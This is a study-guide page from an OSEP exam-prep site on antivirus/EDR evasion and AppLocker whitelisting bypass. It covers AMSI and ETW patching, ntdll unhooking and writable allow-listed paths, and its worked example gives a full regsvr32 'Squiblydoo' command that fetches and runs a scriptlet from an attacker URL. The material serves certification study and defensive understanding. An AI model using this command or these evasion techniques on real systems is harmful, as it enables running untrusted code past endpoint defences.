I85PREP
⌘ K
OSEP study materials
OSEP study resources

OSEP: Antivirus and EDR Evasion / Application Whitelisting Bypass

OSEP · Work through your exam, one topic at a time.

All guide sections

Antivirus and EDR Evasion / Application Whitelisting Bypass

Two different adversaries

AV/EDR evasion targets the sensor stack: static signatures, emulation and heuristics, then the dynamic layers, userland API hooking in ntdll, AMSI for script and .NET content, ETW for telemetry, and kernel callbacks. Whitelisting bypass targets policy: AppLocker, WDAC, or Software Restriction Policies that decide whether a binary or script is allowed to run regardless of intent. A good answer keeps them separate, then combines them, because an unsigned loader still has to be launched by something the policy trusts.

Concepts to hold

Classic evasion: obfuscation and encryption of strings and shellcode, packing, staged loaders, module stomping, and parent-PID spoofing. Deeper: unhooking userland by mapping a fresh ntdll copy, direct and indirect syscalls, call-stack spoofing, and sleep obfuscation to defeat memory scanners. AMSI bypass is usually an in-memory patch (for example forcing AmsiScanBuffer to return an error) or a CLM/__PSLockDownPolicy trick; ETW patching targets EtwEventWrite.

Traps to expect

  • AppLocker default rules only cover Executable, Windows Installer and Script collections; DDL rules are not created by default, so DLL execution is typically unrestricted.
  • Default allow rules cover %PROGRAMFILES% and %WINDIR%, and C:\Windows\Temp is a writable subdirectory of %WINDIR% for standard users: write there, and the executable rule permits launch.
  • Blocking .exe does nothing if script rules are absent and wscript, mshta or rundll32 remain callable.
  • A bypass that requires local admin is a poor answer to a "standard user, AppLocker enforced" scenario.

Worked example

Squiblydoo: regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll fetches a scriptlet over HTTP and executes it inside a Microsoft-signed binary that sits in %WINDIR%\System32, so path-based AppLocker rules allow it, no admin is needed, and nothing touches disk as an executable. Rule of thumb: whitelisting bypasses come in two flavours, run code inside a trusted signed binary, or write your file into a directory an allow rule already covers.